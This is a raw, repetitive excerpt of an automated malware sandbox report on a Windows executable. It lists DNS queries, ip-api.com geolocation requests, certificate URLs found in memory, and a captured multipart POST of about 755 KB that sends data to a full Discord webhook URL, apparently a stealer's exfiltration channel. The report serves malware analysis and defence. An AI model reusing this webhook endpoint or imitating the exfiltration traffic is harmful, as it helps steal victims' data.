Source: Joe Sandbox View	IP Address: 162.159.137.232 162.159.137.232

Source: unknown	DNS query: name: ip-api.com
Source: unknown	DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

Code function: 7_2_00007FFB1BA462B4 recv,

7_2_00007FFB1BA462B4

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3
Source: global traffic	HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3

Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: blank-ivnd9.in
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1315377405426270278/HIGwvC-Zpfa8Zkb7aEYPMg-EuYuZPz1LJEfXefQjcA8JYgb6wbSS5zj82QNtaz9Su_0D HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 755602User-Agent: python-urllib3/2.2.3Content-Type: multipart/form-data; boundary=37a76d34b53131452d6fc832f167ffc7

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 05 Jan 2025 06:19:51 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1736057992x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hAXIq9XtArVKc%2Ffubs8AT0r1q2NMEWVkjfKCdI6jYKfc1azRAidxd4u3EbEtHoGK3aODxcAqyDIfPtP5tjiUcDJFBrKwLRcktghWLo%2B2qmX%2BB5kfWJsHE43k6je%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=14735b5a48e24b09b557091335c501751a43c2b5-1736057991; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=q.0E45z3pGSklbxiFMyXrHfDuxC.4JrCDgahg7Y.Fx0-1736057991326-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8fd15bea497fef9d-EWR

Source: X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.co
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EED000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EED000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr, _sqlite3.pyd.4.dr, select.pyd.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr, _sqlite3.pyd.4.dr, select.pyd.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EED000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EED000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691353377.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691353377.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1696653047.000001E7C3008000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1687315240.000001E7C2FDD000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691509541.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1689257991.000001E7C3007000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1689148113.000001E7C2FF6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1514130016.0000024533D14000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1579165727.000001752C62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000014.00000002.1522920960.000002453402D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000014.00000002.1522920960.000002453402D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micr
Source: X9g8L63QGs.exe, 00000004.00000002.1720049067.000001FB29ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: powershell.exe, 00000014.00000002.1514130016.0000024533D14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EED000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EED000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr, _sqlite3.pyd.4.dr, select.pyd.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr, _sqlite3.pyd.4.dr, select.pyd.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: _ctypes.pyd.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1273315445.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.4.dr, _ssl.pyd.4.dr, libcrypto-3.dll.4.dr, _sqlite3.pyd.4.dr, select.pyd.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: X9g8L63QGs.exe, 00000007.00000003.1288179226.000001E7C2913000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C24BC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691509541.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: X9g8L63QGs.exe, 00000007.00000003.1688465803.000001E7C28C2000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694008349.000001E7C29A2000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1408663369.000001E7C28C6000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691953051.000001E7C29A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1695698107.000001E7C2EAE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1692076374.000001E7C2EBC000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1692121496.000001E7C2EAD000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691509541.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1695917994.000001E7C2EBD000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691987395.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000014.00000002.1488439935.000002452B935000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1571908950.0000017524565000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1499829000.0000017515E59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1571908950.00000175246A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: http://ocsp.comodoca.com0
